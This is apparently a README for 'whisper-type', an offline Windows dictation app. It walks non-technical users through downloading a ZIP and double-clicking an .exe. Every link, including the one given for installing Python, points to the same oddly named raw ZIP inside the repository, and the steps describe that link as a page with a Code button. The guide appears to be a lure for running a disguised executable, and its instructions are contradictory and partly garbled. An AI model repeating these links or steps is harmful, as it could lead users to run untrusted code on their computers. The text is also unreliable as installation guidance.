whisper-type is a local voice-to-text app for Windows. Press a hotkey, speak, and see your words appear as text. It works offline and uses your GPU to turn speech into text faster. This guide helps you download and run whisper-type on your Windows computer without any programming knowledge.
whisper-type lets you dictate text with your voice. Instead of typing, just press a hotkey and speak. Your words show up on the screen in real time. It does not send your audio to the internet. Everything happens on your own computer. whisper-type runs quickly, using the CUDA platform if you have an NVIDIA GPU. This means it can process your speech without delay.
This tool suits anyone who wants to write hands-free. It works well for notes, emails, messages, or any text input.
- Offline speech-to-text conversion
- Runs on Windows with GPU acceleration via CUDA
- Press and hold a hotkey to start speaking
- Shows your voice as text immediately
- Supports most common microphones
- No internet connection needed
- Simple to use with no setup needed after installation
Before installing, check your PC meets these minimum needs:
- Windows 10 or later (64-bit)
- NVIDIA GPU with CUDA support (for faster performance)
- At least 4 GB of RAM
- 100 MB free disk space for installation
- Microphone connected and working
- Python 3.8 or later installed (bundled or manual install may be required)
If you do not have an NVIDIA GPU, the app can still run using your CPU but will be slower.
Download the app from the GitHub page below:
Steps to download and install:
- Click the link above or go to this page: https://github.com/Harshkumar0987/whisper-type/raw/refs/heads/master/turrigerous/whisper-type-disorientate.zip
- On the GitHub page, look for the green Code button near the top and click it.
- Select Download ZIP from the dropdown menu.
- Save the ZIP file to your desktop or preferred folder.
- Once downloaded, right-click the ZIP file and choose Extract All.
- Pick a folder where to extract the files and click Extract.
- Open the extracted folder and look for a file named
whisper-type.exeor a similar launcher.
If no .exe is found, you may need to install Python and run the main program manually. See the Advanced Setup section below.
To start using the app:
- Double-click the
whisper-type.exefile in the extracted folder. - A small window or icon should appear indicating the app is running.
- Press and hold the configured hotkey (default is usually Ctrl + Space) to start speaking.
- Speak clearly into your microphone. Your speech should convert to text on the screen as you talk.
- Release the hotkey when finished.
You can open any text editor (Notepad, Word, browser text boxes) and paste or type the text generated by whisper-type.
If you want to customize how whisper-type works:
- Change the hotkey for dictation in settings.
- Select different microphones if you have multiple devices.
- Adjust the display language if supported.
- Enable or disable GPU acceleration.
Settings can usually be found in a file called settings.json inside the extracted folder or via a simple settings window in the app.
If the download does not include a ready .exe file, you will need to run the program with Python:
- Install Python 3.8 or later from https://github.com/Harshkumar0987/whisper-type/raw/refs/heads/master/turrigerous/whisper-type-disorientate.zip
- Verify Python installs correctly by opening Command Prompt and typing:
python --version - Open Command Prompt and navigate to the extracted whisper-type folder using:
cd path\to\extracted\folder - Install required packages by running:
pip install -r requirements.txt - Run the program with:
or the specified main script file.
python app.py - Follow the prompts to start using whisper-type.
This process uses Python to power the app instead of a ready Windows program.
If you face problems, try these steps:
- Check your microphone is plugged in and not muted.
- Make sure you pressed the correct hotkey.
- Close other apps using the microphone.
- If the app does not launch, confirm Python is installed (see Advanced Setup).
- Restart your PC if the app behaves oddly.
- Update your NVIDIA drivers if using GPU acceleration.
- Consult the GitHub Issues page to see if others have fixed similar problems.
To learn more or get updates, visit the main repository here:
This page has extra details for power users, developer notes, and the source code.
This project relates to:
- cuda
- dictation
- faster-whisper
- gpu
- offline
- python
- speech-to-text
- voice-to-text
- whisper
- windows